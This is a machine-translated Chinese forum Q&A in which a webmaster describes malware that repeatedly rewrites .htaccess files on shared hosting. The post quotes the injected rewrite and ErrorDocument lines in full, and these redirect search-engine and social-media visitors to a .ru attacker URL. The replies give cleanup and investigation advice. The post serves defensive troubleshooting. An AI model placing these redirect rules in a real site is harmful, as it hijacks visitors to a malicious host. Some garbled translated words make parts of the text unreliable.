我今天整天都在为我的客户之一的共享主机追逐恶意软件。
问题如下:每2小时左右.htaccess文件和所有其他.htaccess文件被修改,在文件的顶部添加这些行:
IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*) RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L] </IfModule>
在底部:
ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8
主要的问题,我不是根服务器上,不能sudo,因为这是与100多个网站共享主机。 像dmesg,lsof,dtrace,chattr和其他很多典型的好命令对我来说是不可用的,因为我不是root。
我无法find谁正在修改.htaccess文件,我如何得到这些信息? 我的猜测是一些PHP脚本正在改变,这是从外部通过命令和控制调用。
这似乎与此有关: http : //blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/
如何找出谁正在修改.htaccess文件,而不是根?
如果没有根,或者使用诊断工具,你会头撞墙。 你可以通过查找这个.ru文件来查看它是否在你的控制之下。
有些工具可以在黑暗中进行拍摄,并尝试:inotify,lsof(不太可能) – 或者简单地将.htaccess文件冠以不可写入的Apache(如果可能)。 如果是每两个小时,请看一下crontab 。
最后,还有一些东西仍然是错误的,你应该可以参考这个: 我如何处理一个受损的服务器?
你首先应该问你的托pipe服务提供商的帮助,他们会想知道,他们主持的网站之一已被黑客入侵。 整个服务器可能会受到影响。 在这种情况下,您的提供商有责任将您的网站转移到另一台安全的服务器,以便他们可以分析,清理和重新安装。
无论如何,您应该要求他们将修改后的.htaccess文件的date/时间与任何types的日志关联:access.log,auth.log,FTP服务器日志等。
此外,将networking中的文件与最近的备份进行比较可能会非常有用,因此您可以查看还有哪些内容已被修改。